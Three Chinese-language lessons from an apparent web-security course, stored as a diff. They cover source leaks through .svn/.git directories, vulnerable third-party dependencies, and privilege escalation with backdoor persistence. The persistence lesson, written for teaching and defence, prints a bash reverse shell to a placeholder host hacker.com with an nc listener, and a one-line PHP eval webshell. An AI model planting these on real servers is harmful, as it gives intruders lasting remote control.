实际上,返回信息过于明确不算是代码层面的漏洞,更多的是产品层面的漏洞。因此,理论上没有任何技术手段能够对这种漏洞进行检测,只能依靠人为的分析审计来避免。解决方案也比较简单,直接将返回信息模糊化、统一化即可。比如,在上述登录的场景中,我们可以将两种登录失败的返回信息,统一修改为“用户名不存在或密码错误”。这样一来,既避免了用户体验受到太大影响,又消除了关键信息被黑客获取的隐患。
## 有哪些常见的直接泄露方式?
在间接的泄露方式中,黑客可以通过“蛛丝马迹”,推断出服务代码的逻辑。但是信息泄露最普遍的方式还是直接泄露 。这里我会讲两种常见的直接泄露方式。
第一种泄露方式与版本管理工具中的隐藏文件有关。
在开发应用的过程中你一定使用过版本管理工具比如SVN和Git通过这些工具你能够很方便地进行代码回滚、备份等操作。那你有没有想过版本管理工具为什么这么方便呢它的工作原理又是怎么样的呢我们以SVN为例来说一说。
SVN会在项目目录中创建一个.svn文件夹里面保存了应用每一个版本的源文件信息这也是SVN实现代码回滚的数据基础。如果SVN可以通过.svn中的数据提取应用任意版本的代码那黑客也可以。只要你没有在上线代码的时候删除其中的.svn目录那就代表黑客可以通过.svn中的URL访问里面的所有文件。接下来只需要通过执行简单的[脚本](https://github.com/admintony/svnExploit),黑客就可以回溯出一个完整版本的代码了。
对于这种因为目录中额外内容(.svn/.git导致的源码泄露我们一方面需要对线上代码进行人工的代码审查确保无关的文件和文件夹被正确地清除另一方面我们也可以在HTTP服务中对部分敏感的路径进行限制。比如在Apache httpd中配置下面的内容来禁止黑客对.svn和.git目录的访问。
```
&lt;DirectoryMatch \.(svn|git)&gt;
Order allow,deny
Deny from all
&lt;/DirectoryMatch&gt;
```
除此之外还有一种最常见、也最不容易注意的泄露方式那就是上传代码到GitHub上。
我们知道Git除了是一个版本管理工具之外还是一个很流行的代码管理工具。除了前面讲过的隐藏文件漏洞之外Git会生成.git同样包含应用各种版本的文件信息Git还存在将代码上传到公开平台的问题。但是使用GitHub上传代码通常属于个人行为所以我们很难从技术层面上进行预防。
那我们有没有一些有效的防护措施,可以尽可能地提高安全性呢?
我个人认为公司应该从加强员工安全意识的培训、强化公司管理制度入手避免员工私自上传代码。除此之外公司还可以对GitHub发起巡检比较知名的工具有[Hawkeye](https://github.com/0xbug/Hawkeye)),通过定期检索公司代码的关键字(比如常用的包名、域名等)来进行检测。通过这些方式匹配到的结果,很可能就是员工私自公开的代码。确认之后,我们就可以联系上传的人员进行删除了。
## 总结
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
信息泄露这类漏洞很容易理解,但它能够造成的危害却不容小觑。**基本上,所有攻击的第一步都是从信息泄露开始的**。而且黑客没有办法攻击一个未知的系统,所以黑客会通过这些泄露的信息,去推断出应用的整体架构和逻辑。
信息泄露的方式和原因有很多,这其中,除了黑客主动发起攻击导致的信息泄露之外,有很多非技术原因导致的信息泄露。所以,相应的防护手段也比较零散。不过总体来说,我们可以从以下几个方面进行防护:
- 屏蔽信息:通过技术手段,将不该被访问的资源进行屏蔽,从而避免信息泄露的产生;
- 代码检测:从“白盒”和“黑盒”两个方向,对代码、应用等进行检测,对可能的泄露进行预警;
- 人工审计:对于非技术原因造成的泄露,加强人工审计的工作。同时从公司制度上,去提高员工的安全意识。
今天的内容虽然比较简单,但是为了方便你记忆,我还是总结了一张知识脑图,你可以利用它来查缺补漏,加深记忆。
<img src="https://static001.geekbang.org/resource/image/9a/ad/9a522b774b1e2b40a94894c54300c3ad.jpg" alt="">
## 思考题
最后给你留一个思考题。
通过今天的讲解,你可以回忆一下,你的公司或者你负责的应用当中,是否发生过类似的信息泄露事件呢?如果发生过,对你的公司或者应用都造成了什么影响呢?最后又是如何解决的呢?
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!

View File

@@ -0,0 +1,151 @@
<audio id="audio" title="11 | 插件漏洞:我的代码看起来很安全,为什么还会出现漏洞?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/b5/79/b559c35df454de3701cdbb5edbe0d379.mp3"></audio>
你好,我是何为舟。
在讲[反序列化漏洞](https://time.geekbang.org/column/article/182421)的时候我们说过这个漏洞其实就存在于Fastjson、Jackson等知名的JSON解析库中跟你自己写的代码没有太多关系所以极难掌控。也就是说在开发应用的过程中尽管你的代码很安全了黑客还是能够通过插件漏洞对应用发起攻击我文中提到的插件是第三方的插件、依赖库、工具和框架等的统称
说到这儿,想不想测试一下你的插件是否安全?在这里,我准备了几个问题,你可以看看自己是否对所用的插件了如指掌。
- 你所使用的所有插件的版本是什么?(包括前端和后端,直接引用和间接引用)
- 你所使用的这些插件,是否存在漏洞,是否不被维护了,是否被废弃了?
- 你所使用的这些插件,会在哪些地方发布更新信息和漏洞信息?
- 你所使用的这些插件,是否会定期更新?你是否会对更新插件进行完整的测试?
- 你所使用的这些插件,在安全方面,有哪些配置需要关注?
对于这些问题,如果你还没办法很快回答上来,那你的应用很有可能要受到插件漏洞的威胁了。所以,我接下来要讲的内容,你要认真听了。
## 为什么要重视插件漏洞?
在谈论安全漏洞的时候你应该经常会听到“0 day”中文译为“零日”这个词。到底什么是“0 day”呢“0 day”即在插件发布修复漏洞的安全补丁之前黑客就已经知道漏洞细节的漏洞。换一句话说“0 day”就是只有黑客知晓的未公开漏洞。
说到这里,不知道你有没有听说过一个叫作[脏牛](https://dirtycow.ninja/)[CVE-2016-5195](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195)的Linux系统漏洞这个漏洞可以实现提权操作也就是让低权限的用户获得较高权限。在这个漏洞被公开曝出之前它已经存在于Linux系统中长达9年了直到现在仍然有很多黑客通过这个漏洞获取较高的系统权限。
而这其实就是一个“0 day”漏洞。因为只有黑客知道这个漏洞而我们连这个漏洞是什么都不知道所以“0 day”几乎无法防御。除此之外“0 day”还具备极高的攻击有效性可以说只要应用使用了对应的插件黑客几乎“战无不胜”。甚至在黑市上“0 day”漏洞都可以作为一种资产在黑客间进行交易。
那除了“脏牛”,还有两个知名的插件漏洞,不知道你有没有耳闻。
一个是[心脏滴血](https://news.netcraft.com/archives/2014/04/08/half-a-million-widely-trusted-websites-vulnerable-to-heartbleed-bug.html)[CVE-2014-0160](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160)。心脏滴血是加解密插件OpenSSL中的漏洞OpenSSL曾为所有HTTPS网站提供数据加密保护。这个漏洞让任何人都可以通过网络读取OpenSSL系统内存中的数据解密所有的加密流量。这让当时至少一半的HTTPS站点都受到了影响。
另一个是Structs 2的漏洞[CVE-2017-5638](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638)。这个漏洞在2017年导致美国三大信用机构之一的[Equifax](https://resources.whitesourcesoftware.com/blog-whitesource/the-equifax-breach-who-s-to-blame)泄露了1.4亿用户的姓名、SSN美国身份证号、生日和地址等。受影响的用户相当于近一半的美国人口。我们在开篇词里也有提过这里我就不多说了。
总之对于应用来说不只代码本身会产生漏洞除了代码之外的一切也都有可能出现漏洞。从提供加解密功能的工具OpenSSL到提供网络服务的框架Structs 2甚至是基础的操作系统Linux都有可能出现各种漏洞。插件漏洞既能够破坏插件本身的功能也能让黑客以插件为跳板实现控制整个应用甚至是服务器。
## 如何建立插件漏洞的防护体系?
那我们该如何对插件漏洞进行防护呢?实际上,修复和维护插件漏洞的过程,就是在和黑客竞赛的过程。业内有大量专业的安全研究人员,专注于对这些插件漏洞进行研究。因此,我们可以使用行业内的现有研究成果,来帮助我们提升插件的安全性,建立插件漏洞的防护体系。
具体来说,我总结了三步,但其实这三步并非完全递进的。你可以参考这三步的做法,看看哪些你已经做到了,哪些还没有做过,可以试一试。
### 第一步:整理插件,剔除无用插件
避免插件漏洞威胁的第一步自然是了解自己的应用都使用了哪些插件。我就以Java中的Maven插件管理工具为例详细说一下整理和剔除插件的过程。
如果使用Maven作为插件管理工具的话你一定会先通过POM文件去找到自己所使用的插件即所有的Dependency。但是Dependency只是你的应用中直接使用的插件这些插件本身也会引用很多其他插件。所以大部分应用的插件依赖树十分复杂那你该如何整理全部的插件呢
首先,你可以通过[Maven Dependency Plugin](http://maven.apache.org/plugins/maven-dependency-plugin/)帮助自己自动分析插件依赖树。除了展示出当前Maven工程中所有的使用插件Maven Dependency Plugin还会对插件的使用情况做进一步的分析帮你找出在POM中却没在代码中使用的插件。这样你就可以对这一类无用的插件引用及时剔除自然也就能够减少插件漏洞出现的可能性。
比如,在下面这个分析结果中,通过`mvn dependency:analyze`的分析我们发现了JUnit和Logback这类“虽然被引用但却没有被使用”的插件。既然没有被使用那我们就可以很放心地进行删除了。
```
mvn dependency:tree dependency:analyze
...
[INFO] --- maven-dependency-plugin:2.8:tree (default-cli) @ client ---
[INFO] com.coveros:sample-maven:jar:0.0.1-SNAPSHOT
[INFO] +- junit:junit:jar:4.11:test
[INFO] | \- org.hamcrest:hamcrest-core:jar:1.3:test
[INFO] +- org.slf4j:slf4j-api:jar:1.7.5:compile
[INFO] \- ch.qos.logback:logback-classic:jar:1.0.13:test
[INFO] \- ch.qos.logback:logback-core:jar:1.0.13:test
...
[INFO] --- maven-dependency-plugin:2.8:analyze (default-cli) @ client ---
[WARNING] Unused declared dependencies found:
[WARNING] junit:junit:jar:4.11:test
[WARNING] ch.qos.logback:logback-classic:jar:1.0.13:test
...
```
### 第二步:管理插件补丁更新
一旦某个插件出现漏洞,通常插件的运维方都会尽快推出补丁。有的公司还会设立专门的部门和人员进行补丁管理的工作。一旦出现漏洞和补丁,公司会先评估漏洞的严重性,然后设定打补丁的优先级,推动研发人员进行更新操作。
所以,建立插件防护体系的第二步,就是要知道你有哪些插件需要更新。但是,在实际工作中一个应用随便就依赖几十个插件,你当然没办法一个一个去查询插件的更新状态了。那[Version Maven Plugin](https://www.mojohaus.org/versions-maven-plugin/)就是用来帮你检查版本更新的一个工具。你可以看到,在下面的分析结果中,通过`mvn version:display-dependency-updates`这个命令我们就能发现JUnit有一个新的4.11版本。
```
mvn versions:display-plugin-updates versions:display-dependency-updates
...
[INFO] --- versions-maven-plugin:2.1:display-plugin-updates (default-cli) @ sample-maven ---
[INFO]
[INFO] The following plugin updates are available:
[INFO] maven-deploy-plugin ...................................... 2.7 -&gt; 2.8
[INFO]
[INFO] All plugins have a version specified.
[INFO]
[INFO] Project defines minimum Maven version as: 3.0
[INFO] Plugins require minimum Maven version of: 3.0
[INFO]
[INFO] No plugins require a newer version of Maven than specified by the pom.
[INFO]
[INFO]
[INFO] --- versions-maven-plugin:2.1:display-dependency-updates (default-cli) @ sample-maven ---
[INFO] The following dependencies in Dependencies have newer versions:
[INFO] junit:junit ............................................. 4.10 -&gt; 4.11
...
```
尽管Version Maven Plugin也提供自动更新的功能不过我更推荐你手动进行更新。因为对于插件的版本变更其兼容性并没有保证而且你也无法保证插件在更新的过程中不会对它原本的功能产生影响。
那使用了补丁管理工具之后我们就可以完全放心了吗当然不是。补丁管理中依旧存在一些问题我这里从3个方面帮你梳理了一下你可以作为了解。
- 补丁可用性:并不是所有的插件漏洞,都能有最新的补丁进行及时的更新和维护。很多时候,运维人员会面临一个已知的漏洞,但无补丁“可打”的窘迫局面。
- 覆盖面不全:实际上,并不是所有语言都能够很好地进行插件分析工作,这也就导致运维人员无法掌控公司内所使用的所有插件。这个时候,必然会产生一定的漏洞疏忽。
- 更新时间延迟:为了提高打补丁的效率,补丁管理一般会按月或者按季度进行集中的打补丁工作。而在这个期间,公司的应用就会处于无保护的状态。
为了解决这些问题虚拟补丁的概念就被提出了。所谓虚拟补丁就是在不对应用插件进行升级的情况下有效阻止攻击流量。实现的原理也很简单即在前置的网络或系统中对针对插件漏洞的攻击流量进行检测和拦截即可大部分防火墙、IPS等安全防御工具都会提供虚拟补丁的功能。比如2017年[永恒之蓝](https://baike.baidu.com/item/%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D/4951714?fr=aladdin)肆虐的时候防火墙会直接封禁445端口请求就相当于给所有的Windows系统打上了虚拟补丁。然后只需要等到所有Windows都真正更新补丁之后再放开对445端口的限制即可。
### 第三步:使用公开漏洞库
最后,你还需要知道,在你所使用的插件中,是否已经存在了公开的漏洞。
我在讲解知名插件漏洞的例子中提到了一些漏洞的编号脏牛CVE-2016-5195、心脏滴血CVE-2014-0160和Structs 2的漏洞CVE-2017-5638。细心的同学可能已经想要问了那这些编号是怎么来的呢又代表了什么含义呢
实际上每个漏洞的编号都是该漏洞在公开漏洞库的唯一编号。我提到的这三个编号开头都是CVE也就是说这三个编号的信息都存在于[CVE](https://cve.mitre.org/)Common Vulnerabilities &amp; Exposures公共漏洞和暴露这个公开漏洞库中你可以根据漏洞的唯一编号在CVE中快速地找到这个漏洞相关的信息包括受影响的版本、可能造成的影响、修复的方法及补丁等。
除了CVE之外公开的漏洞库还包括[CWE](https://cwe.mitre.org/)Common Weakness Enumeration通用缺陷列表、[CVSS](https://www.first.org/cvss/)Common Vulnerability Scoring System通用漏洞评分系统、[NVD](https://www.nist.gov/programs-projects/national-vulnerability-database-nvd)National Vulnerability Database国家信息安全漏洞库以及[CNVD](https://www.cnvd.org.cn/)(China National Vulnerability Database中国国家信息安全漏洞库
每当漏洞库中新曝出一个漏洞时,你需要分析这个漏洞所涉及的插件:是否在公司中有被使用;公司中使用的,是否是受影响的版本;这个漏洞会产生哪些危害等等。这样,你才能够尽快地修复各类已知的插件漏洞,降低应用被黑客攻击的可能。
那实际工作中,我们其实也可以借助工具,自动化地完成匹配公开漏洞库的工作。[OWASP Dependency-Check](https://jeremylong.github.io/DependencyCheck/)是一款专门进行插件漏洞检测的工具。它会将工程内的插件和公开的漏洞库进行比对。最终会生成一个网页形式的报告使你对工程中的插件漏洞一目了然了。下图就展示了如何通过OWASP Dependency-Check发现一个3.2.1版本的Commons-Collections的高危漏洞。
<img src="https://static001.geekbang.org/resource/image/38/05/383ca5b55e749be2ba11820ad4542605.png" alt="">
同理在其他语言中也会存在类似的插件管理工具。比如对于JavaScript中的插件我们可以使用[Retire.js](https://github.com/retirejs/retire.js/)进行整理。
总结来说,我们在建立插件漏洞的防护体系时,会使用这些自动化管理工具完成这样三件事情:
- 统计你的应用中引用了哪些插件
- 管理这些插件中是否有版本更新
- 检测这些插件是否存在已知的漏洞
根据这些信息,你就能够对应用中的插件安全性,有一个比较完整的认知了。接下来,在实际使用的过程中,我们根据漏洞的更新情况,有针对性地修复即可。
## 总结
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
在开发应用的过程中,我们总是需要引入各种第三方插件。而这些第三方插件的漏洞,尽管看起来很容易解决,只需要一直使用最新的插件,并保持更新即可。但是,往往因为版本更新繁琐,且无法带来业务收益,很多公司都会因此忽视插件漏洞的防护工作。所以,在应用中存在一个好几年前的插件漏洞并不奇怪。
提高版本更新的效率、避免插件漏洞主要可以分三个步骤首先我们可以使用插件分析工具来了解应用中包括了哪些插件然后可以通过补丁管理制度和虚拟补丁来推进对插件漏洞的管理和修复工作最后我们可以对比公开漏洞库比如CVE等中的最新漏洞及时修复漏洞降低被黑客攻击的可能。
好了,我把这一讲的重点内容梳理了一个脑图。你可以用它来查漏补缺,也可以自己来梳理看看,加深印象。
<img src="https://static001.geekbang.org/resource/image/64/72/6483102d652caf01c72dd5dd3602e572.jpg" alt="">
## 思考题
最后,给你留一个思考题。
你可以尝试对你的应用作一次插件分析看看会不会出现已知的安全漏洞。除此之外你还可以对应用的外部依赖数据库、Web服务、操作系统等进行一次调查在当前版本中是否存在公开的漏洞
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!

View File

@@ -0,0 +1,120 @@
<audio id="audio" title="12 | 权限提升和持久化:为什么漏洞修复了,黑客还是能够自由进出?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/72/13/727579dcd61b6e0d4f8a3450cae40c13.mp3"></audio>
你好,我是何为舟。
我在Web安全的前6讲中给你讲解了各种漏洞的产生和防护方法比如XSS、SQL注入、CSRF、SSRF和插件漏洞。除了这些漏洞之外我也着重强调了一点黑客善于通过“蛛丝马迹”推断出代码逻辑然后发起攻击。学习了这些内容在实际工作的过程中我们其实就能基本避免大部分的Web安全问题了。但是有一天我又遇到了新的问题。
某一天当我在进行日常审计的时候突然发现内网有黑客的操作痕迹。于是我马上对黑客的攻击路径进行溯源。最后发现黑客是通过某个应用的SSRF漏洞进入的。
之前我们提到过SSRF通常用来作内网探测那么黑客是如何通过SSRF拿到服务器权限的呢更神奇的是这个存在SSRF漏洞的应用在排查的时候早已经下线了。那么黑客是如何在漏洞已经下线的情况下仍然能够进出内网呢
## 权限提升为什么黑客能通过SSRF拿到服务器权限
首先我们先来搞清楚黑客是如何通过SSRF拿到服务器权限的。在解决这个问题之前我们先来了解一个概念权限提升。
在应用或系统中,黑客或者被黑客控制的用户,通常会通过漏洞攻击或者利用弱密码,获取到其他用户的权限。在获取了新的用户权限之后,黑客就能够以新用户的身份去窃取和篡改数据,进行非法的操作了。这就是**权限提升**Privilege Escalation。也就是说黑客可以通过不断获取新的身份来不断扩大或者叫提升自己的权限不断扩大攻击影响最终实现控制整个系统。
好了,现在你应该知道权限提升是什么了。事实上,权限提升还可以根据攻击效果分为两类,即水平提升和垂直提升。
**水平提升**是指黑客获取了另外一个“平级”用户的权限。尽管权限等级没变,但因为黑客控制的用户身份发生了变更,所以黑客能够获得新的数据和权限。比如,常见的普通用户被盗号就是一种水平提升。黑客本来只能够登录自己的账号,但他却通过破解密码的方式,登录到其他用户的账号,从而可以查看他人的个人信息,利用他人账号进行交易转账。
相比较来说,**垂直提升**的危害性更大。通过垂直越权黑客能够获得一个更高级别的权限通常来说是应用的管理员或系统的ROOT权限。拥有高等级权限后黑客自然就能够获取到大部分的数据了。除此之外通过高等级的权限黑客还能够禁用审计功能、删除相关日志从而隐匿自己的行踪让你无法发现攻击事件的存在。
前面我讲过,在我经历的这个事件中,黑客是利用[SSRF](https://time.geekbang.org/column/article/182074)漏洞进入的内网那在了解权限提升的原理和分类之后我们接着来分析一下黑客是如何通过SSRF漏洞做到权限提升的。
首先这个SSRF是有回显的所有内网请求的响应都能够直接被黑客看到。所以黑客利用.svn文件的信息泄露一点一点请求内网的各种地址最终获得了一台服务器上的代码。获得代码之后黑客通过分析知道这个服务器存在SQL注入漏洞。于是黑客通过SQL注入成功在这台服务器上执行了命令。然后黑客就开始对内网进行SSH扫描最终以用户名“root”和密码“123456”成功获得了一台内网服务器的ROOT权限。
<img src="https://static001.geekbang.org/resource/image/3f/dc/3fb9787fed96a3e8393554b1883bdfdc.jpeg" alt="">
事实上几乎所有的漏洞和攻击包括前面讲到的几个Web漏洞都可能导致权限提升。总体来说权限提升的方法可以分为下面这两种。
- 窃取身份:前面我们讲过,身份认证的相关风险和攻击包括:无认证、弱密钥、认证信息泄露和认证环节破解等。这些攻击的最终结果其实都一样,就是黑客成功登录了他人的账号,也就意味着权限提升的发生。
- 利用漏洞获得权限从行业现状来说对于补丁管理的工作普遍做得不到位各种有漏洞的系统和插件仍在大量使用。因此权限提升最普遍的方法还是利用漏洞获得权限。这其中既包括已公开的漏洞比如上节课中提到的“脏牛”还包括很多资深黑客所掌握的“0 day”漏洞。
## 权限持久化:为什么漏洞修复了,还有“后门”?
好了现在你已经知道了黑客可以利用漏洞攻入应用最终实现了权限提升那我们修复了这个漏洞是不是就能避免权限提升的发生呢当然不是在开头的例子中带有SSRF漏洞的应用也已经被下线了呀那为什么黑客还是能够自由进出呢下面我就详细来说一说。
### 什么是“后门”?
想要解决这个问题,我们先要来看一下“后门”的概念。当黑客通过权限提升,成功获取到一个高级别的权限后,为了保留这个权限,黑客会在应用中留下一个隐藏的进程,下次只要黑客想再次进入,就可以通过这个进程来连通,而不需要再次去绕过各种安全流程。这就是“后门”。也就是说,“后门”能够让你在不经过正常流程的情况下,就直接获得一些权限。
在我前面讲的例子中,黑客就是在攻进系统后,给自己留下了一个“后门”,开辟了一条非正规的快速通道。那黑客是怎么操作的呢?
比如说,黑客在进入服务器之后,会留下下面这样一个脚本,让这个脚本,每分钟都执行一次:
```
bash -i &gt;&amp; /dev/tcp/hacker.com/8080 0&gt;&amp;1
```
这个脚本运行后只要hack.com的8080端口打开那么服务器就会通过TCP获取8080端口返回的命令并执行。因此只要黑客任意时刻在hacker.com中监听8080端口比如通过nc -l 8080就可以获得服务器定时送上来的命令执行权限。
所以,不管漏洞是否修复,黑客都可以通过这个快速通道轻松进入系统。**而“后门”的关键意义就在于,为黑客长时间保持高权限的通道,使得黑客能够进行长时间的潜伏和攻击。**
比较有意思的是“后门”不仅仅是为黑客服务的正常的应用中可能也会留下一些“后门”以备特殊情况。比如2008年微软曾进行过一次打击盗版Windows的行动当时国内的盗版Windows在同一时间出现了黑屏现象。显然微软不可能知道所有人的管理员密码但是微软会通过预留的“后门”实现对系统的控制。类似情况还有很多比如管理员在特殊情况下比如忘记密码可以通过“后门”对应用进行一些操作。
### “后门”是如何工作的?
接着,新问题又来了,既然修复漏洞之后,黑客依然可以通过“后门”自由进出,那我们该如何关掉这个“后门”呢?我们先来看看“后门”是如何工作的,知道了它的工作原理,我们才能“对症下药”,从根本上解决问题。
我们前面课程讲过的所有攻击方式,通常都是为了造成一些显式的攻击。而“后门”的目的则不同,“后门”会尽力隐藏自己不被别人发现。因此,“后门”通常会以木马的形式出现。
所谓**木马**Trojan就是一些外表看起来正常但会对应用和系统进行破坏的服务和进程。比如很早之前流行过的“[灰鸽子](https://baike.baidu.com/item/%E7%81%B0%E9%B8%BD%E5%AD%90%E6%9C%A8%E9%A9%AC/3013692)”木马,就是和正常的应用绑定在一起。这样“灰鸽子”就能在应用运行的时候监控应用的全部操作了(屏幕、键盘、摄像头等)。又因为应用正常的功能不会受到影响,所以,用户几乎感知不到“灰鸽子”的存在。
那木马可不可以不依附于应用直接隐藏自己呢当然可以。那么“后门”就发展成了Rootkit。通常来说Rootkit会驻扎于内核中通过修改内核的逻辑来完成“后门”的功能。因为内核具备较高的权限所以Rootkit就能破坏杀毒软件这样的安全进程而不被轻易发现。同样地因为Rootkit驻扎在内核中理论上除了重装系统以外没有其他更好的方式来根除“后门”。
除了以隐藏进程的形式运行“后门”黑客也可以把“后门”留在正常的Web服务中这就变成了WebShell。在PHP中最简单的一句WebShell如下
```
&lt;?php @eval($_POST['shell']);?&gt;)
```
只要将这个PHP文件放到Web服务的目录中黑客就可以通过在POST参数中填入Shell命令远程操控服务器。
总之“后门”通常会以木马、Rootkit或者WebShell等比较隐蔽的形式运行在系统中。而黑客可以通过和“后门”的直接通信来获得服务器的操控权限。
### 黑客如何将“后门”植入到系统?
好了,现在你应该知道“后门”是如何工作的了,那黑客又是怎么将“后门”植入系统的呢?
毫无疑问,最直接的方式就是通过权限提升,即黑客直接获取到系统的命令执行权限,然后通过网络将“后门”程序从云端下载下来。
除此之外,黑客还可以通过**文件上传漏洞**向服务器上传一个程序。在使用应用的时候用户经常需要上传一些文件比如头像的图片、邮件附件和简历等。很多时候开发人员为了方便会直接将上传的文件存储到当前目录也就是Web服务的目录中。这个时候如果黑客上传的是一个PHP文件那么这个PHP文件就会被放入到Web服务的目录中。因此黑客只需要上传一个包含WebShell的PHP文件就成功了植入了一个“后门”。
通过权限提升或者文件上传漏洞成功植入“后门”之后黑客还需要保证“后门”的持久化。因此“后门”需要常驻于系统的后台并能够随着系统的开关机而启动。为了实现这个目的黑客通常会在定时任务crontab或者开机启动项inittab、rc.local的配置中加上“后门”的执行命令。
除此之外黑客还可以利用伴随于系统的常驻进程来保证“后门”的持久化。对于WebShell来说只要Web服务保持可用那么WebShell也一直可用。对于Rootkit来说它们会直接篡改内核的初始函数来进行自启动也就更难被发现和去除。
总之,持久化要么是通过定时任务、开机启动等方式来实现,要么就是通过伴随于系统的常驻进程来实现。
## 面对权限提升和持久化,该怎么进行防护?
好了现在你应该已经知道权限提升和持久化的原理和攻击方式了。那面对权限提升和持久化我们该如何防护呢这里我为你介绍两种常见的防护方法它们分别是最小权限原则和IDS。下面我们一起来看。
首先,最基础的防护是从制度和技术上去落实**最小权限原则**。所谓最小权限原则就是给每一个用户和进程等只分配它们需要用到的权限。从技术实现上来说可以通过配置一定的访问控制策略来进行强化比如在Linux中给予特定进程单独的角色权限等这部分内容我会在后续的课程中详细介绍。通过最小权限原则的落实你就能够限制黑客在每一次权限提升时得到的收益甚至阻断黑客权限提升的可能。
其次,就是利用**IDS**Intrusion Detection System**入侵检测系统)**对黑客的异常行为进行检测。IDS的检测原理就是通过分析正常用户和黑客在网络层或者主机层中的行为异同来识别黑客的攻击。比如正常用户不会去连接内网中不相干的主机而黑客则必须通过扫描去探测内网等。
如果黑客已经在进行权限提升和持久化的操作了,这就意味着应用和系统已经出现了各种漏洞。因此,在这个前提下,我们要考虑的不是如何去修复和避免漏洞,而是在出现漏洞后,如何降低损失并尽早发现漏洞。这其实也是安全中纵深防御的一种思想:**对不同的层级进行不同的防御,即使前面层漏过了,下一层还能够接着进行防护**。
## 总结
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
我们知道了,在进入一个系统后,黑客会进行一系列的操作来扩大自己的权限和攻击影响,这些操作可以被概括为权限提升和权限持久化。权限提升就是利用各种漏洞进行水平或者垂直的扩展,去获得新的身份和权限。权限持久化则是留下“后门”,并保持“后门”的长期有效性。
为了阻止黑客的进一步攻击行动,我们需要对应用和系统进行相应的防御和检测。最基本的就是强化最小权限原则,限制黑客权限提升的收益。其次就是对一些异常的入侵行为进行检测,通过分析在网络层或者主机层中,正常用户和黑客的行为异同,从而及时发现黑客的行为。
好了,我把这一讲的重点内容梳理了一个脑图。你可以用它来查漏补缺,也可以自己来梳理看看,加深印象。
<img src="https://static001.geekbang.org/resource/image/ce/1e/ce153d369fbec8002d90e2ff37ecc31e.jpg" alt="">
## 思考题
最后,给你留一个思考题。
想象一下,现在你是一个黑客,你已经拥有了服务器的普通用户权限(相信你确实有)。那么,基于这个权限你能够进行哪些操作呢?这些操作会对应用和公司的安全产生哪些影响?
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!